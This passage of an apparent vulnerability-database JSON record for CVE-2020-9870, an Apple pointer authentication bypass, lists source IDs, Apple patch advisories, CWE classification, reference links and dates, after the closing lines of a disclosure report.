gadgets\\\".format(len(gadgets)))\n\n\n[1] https://support.apple.com/guide/security/pointer-authentication-codes-seca5759bf02/web\n[2] https://developer.arm.com/docs/100076/0100/instruction-set-reference/a64-general-instructions/pacia-paciza-pacia1716-paciasp-paciaz\n\nThis bug is subject to a 90 day disclosure deadline. After 90 days elapse,\nthe bug report will become visible to the public. The scheduled disclosure\ndate is 2020-08-18. Disclosure at an earlier date is possible if\nagreed upon by all parties. \n\n\nRelated CVE Numbers: CVE-2020-9870. \n\n\n\nFound by: saelo@google.com\n\n",
"sources": [
{
"db": "NVD",
"id": "CVE-2020-9870"
},
{
"db": "JVNDB",
"id": "JVNDB-2020-009935"
},
{
"db": "VULHUB",
"id": "VHN-187995"
},
{
"db": "VULMON",
"id": "CVE-2020-9870"
},
{
"db": "PACKETSTORM",
"id": "158457"
},
{
"db": "PACKETSTORM",
"id": "158923"
}
],
"trust": 1.98
},
"external_ids": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/external_ids#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"db": "NVD",
"id": "CVE-2020-9870",
"trust": 2.8
},
{
"db": "PACKETSTORM",
"id": "158923",
"trust": 0.8
},
{
"db": "JVN",
"id": "JVNVU94090210",
"trust": 0.8
},
{
"db": "JVNDB",
"id": "JVNDB-2020-009935",
"trust": 0.8
},
{
"db": "CNNVD",
"id": "CNNVD-202007-1068",
"trust": 0.7
},
{
"db": "PACKETSTORM",
"id": "158457",
"trust": 0.7
},
{
"db": "AUSCERT",
"id": "ESB-2020.2430",
"trust": 0.6
},
{
"db": "CNVD",
"id": "CNVD-2020-49316",
"trust": 0.1
},
{
"db": "VULHUB",
"id": "VHN-187995",
"trust": 0.1
},
{
"db": "VULMON",
"id": "CVE-2020-9870",
"trust": 0.1
}
],
"sources": [
{
"db": "VULHUB",
"id": "VHN-187995"
},
{
"db": "VULMON",
"id": "CVE-2020-9870"
},
{
"db": "JVNDB",
"id": "JVNDB-2020-009935"
},
{
"db": "PACKETSTORM",
"id": "158457"
},
{
"db": "PACKETSTORM",
"id": "158923"
},
{
"db": "CNNVD",
"id": "CNNVD-202007-1068"
},
{
"db": "NVD",
"id": "CVE-2020-9870"
}
]
},
"id": "VAR-202010-1272",
"iot": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/iot#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": true,
"sources": [
{
"db": "VULHUB",
"id": "VHN-187995"
}
],
"trust": 0.01
},
"last_update_date": "2024-11-23T19:28:30.807000Z",
"patch": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/patch#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"title": "HT211288",
"trust": 0.8,
"url": "https://support.apple.com/en-us/HT211288"
},
{
"title": "HT211289",
"trust": 0.8,
"url": "https://support.apple.com/en-us/HT211289"
},
{
"title": "HT211290",
"trust": 0.8,
"url": "https://support.apple.com/en-us/HT211290"
},
{
"title": "HT211288",
"trust": 0.8,
"url": "https://support.apple.com/ja-jp/HT211288"
},
{
"title": "HT211289",
"trust": 0.8,
"url": "https://support.apple.com/ja-jp/HT211289"
},
{
"title": "HT211290",
"trust": 0.8,
"url": "https://support.apple.com/ja-jp/HT211290"
},
{
"title": "Apple macOS Catalina Clang Fixes for component security vulnerabilities",
"trust": 0.6,
"url": "http://www.cnnvd.org.cn/web/xxk/bdxqById.tag?id=124553"
},
{
"title": "Apple: macOS Catalina 10.15.6, Security Update 2020-004 Mojave, Security Update 2020-004 High Sierra",
"trust": 0.1,
"url": "https://vulmon.com/vendoradvisory?qidtp=apple_security_advisories\u0026qid=aa30f53f014f01d7a0510a965599d2a9"
}
],
"sources": [
{
"db": "VULMON",
"id": "CVE-2020-9870"
},
{
"db": "JVNDB",
"id": "JVNDB-2020-009935"
},
{
"db": "CNNVD",
"id": "CNNVD-202007-1068"
}
]
},
"problemtype_data": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/problemtype_data#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"problemtype": "CWE-20",
"trust": 1.9
}
],
"sources": [
{
"db": "VULHUB",
"id": "VHN-187995"
},
{
"db": "JVNDB",
"id": "JVNDB-2020-009935"
},
{
"db": "NVD",
"id": "CVE-2020-9870"
}
]
},
"references": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/references#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"trust": 1.8,
"url": "https://support.apple.com/ht211288"
},
{
"trust": 1.8,
"url": "https://support.apple.com/ht211289"
},
{
"trust": 1.8,
"url": "https://support.apple.com/ht211290"
},
{
"trust": 1.6,
"url": "https://nvd.nist.gov/vuln/detail/cve-2020-9870"
},
{
"trust": 0.8,
"url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2020-9870"
},
{
"trust": 0.8,
"url": "https://jvn.jp/vu/jvnvu94090210/index.html"
},
{
"trust": 0.6,
"url": "https://packetstormsecurity.com/files/158923/pac-bypass-due-to-unprotected-function-pointer-imports.html"
},
{
"trust": 0.6,
"url": "https://support.apple.com/kb/ht211289"
},
{
"trust": 0.6,
"url": "https://packetstormsecurity.com/files/158457/apple-security-advisory-2020-07-15-2.html"
},
{
"trust": 0.6,
"url": "https://support.apple.com/en-us/ht211289"
},
{
"trust": 0.6,
"url": "https://www.auscert.org.au/bulletins/esb-2020.2430/"
},
{
"trust": 0.1,
"url": "https://cwe.mitre.org/data/definitions/20.html"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov"
},
{
"trust": 0.1,
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/185421"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2020-9918"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2020-9878"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2019-19906"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2020-9889"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2020-9799"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2020-9913"
},
{
"trust": 0.1,
"url": "https://support.apple.com/downloads/"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2020-9864"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2020-9866"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2020-9884"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2020-9934"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2020-9888"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2019-14899"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2020-9885"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2020-9891"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2019-20807"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2020-9936"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2020-9890"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2020-9865"
},
{
"trust": 0.1,
"url": "https://developer.arm.com/docs/100076/0100/instruction-set-reference/a64-general-instructions/pacia-paciza-pacia1716-paciasp-paciaz"
},
{
"trust": 0.1,
"url": "https://support.apple.com/guide/security/pointer-authentication-codes-seca5759bf02/web"
}
],
"sources": [
{
"db": "VULHUB",
"id": "VHN-187995"
},
{
"db": "VULMON",
"id": "CVE-2020-9870"
},
{
"db": "JVNDB",
"id": "JVNDB-2020-009935"
},
{
"db": "PACKETSTORM",
"id": "158457"
},
{
"db": "PACKETSTORM",
"id": "158923"
},
{
"db": "CNNVD",
"id": "CNNVD-202007-1068"
},
{
"db": "NVD",
"id": "CVE-2020-9870"
}
]
},
"sources": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#",
"data": {
"@container": "@list"
}
},
"data": [
{
"db": "VULHUB",
"id": "VHN-187995"
},
{
"db": "VULMON",
"id": "CVE-2020-9870"
},
{
"db": "JVNDB",
"id": "JVNDB-2020-009935"
},
{
"db": "PACKETSTORM",
"id": "158457"
},
{
"db": "PACKETSTORM",
"id": "158923"
},
{
"db": "CNNVD",
"id": "CNNVD-202007-1068"
},
{
"db": "NVD",
"id": "CVE-2020-9870"
}
]
},
"sources_release_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_release_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2020-10-16T00:00:00",
"db": "VULHUB",
"id": "VHN-187995"
},
{
"date": "2020-10-16T00:00:00",
"db": "VULMON",
"id": "CVE-2020-9870"
},
{
"date": "2020-12-11T07:15:34",
"db": "JVNDB",
"id": "JVNDB-2020-009935"
},
{
"date": "2020-07-17T19:23:49",
"db": "PACKETSTORM",
"id": "158457"
},
{
"date": "2020-08-19T16:46:39",
"db": "PACKETSTORM",
"id": "158923"
},
{
"date": "2020-07-15T00:00:00",
"db": "CNNVD",
"id": "CNNVD-202007-1068"
},
{
"date": "2020-10-16T17:15:15.653000",
"db": "NVD",
"id": "CVE-2020-9870"
}
]
},
"sources_update_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_update_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2023-01-09T00:00:00",
"db": "VULHUB",
"id": "VHN-187995"
},
{
"date": "2020-10-20T00:00:00",
"db": "VULMON",
"id": "CVE-2020-9870"
},
{
"date": "2020-12-11T07:15:34",
"db": "JVNDB",
"id": "JVNDB-2020-009935"
},
{
"date": "2021-10-29T00:00:00",
"db": "CNNVD",
"id": "CNNVD-202007-1068"
},
{
"date": "2024-11-21T05:41:26.483000",
"db": "NVD",
"id": "CVE-2020-9870"
}
]
},
"threat_type": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/threat_type#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "remote",
"sources": [
{
"db": "CNNVD",
"id": "CNNVD-202007-1068"
}
],
"trust": 0.6
},
"title": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/title#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "plural Apple Product logic vulnerabilities",
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2020-009935"
}
],
"trust": 0.8
},
"type": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/type#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "input validation error",
"sources": [
{
"db": "CNNVD",
"id": "CNNVD-202007-1068"
}
],
"trust": 0.6
}
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
- Confirmed: The vulnerability is confirmed from an analyst perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
- Patched: This vulnerability was successfully patched by the user reporting the sighting.
- Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
- Not confirmed: The user expresses doubt about the veracity of the vulnerability.
- Not patched: This vulnerability was not successfully patched by the user reporting the sighting.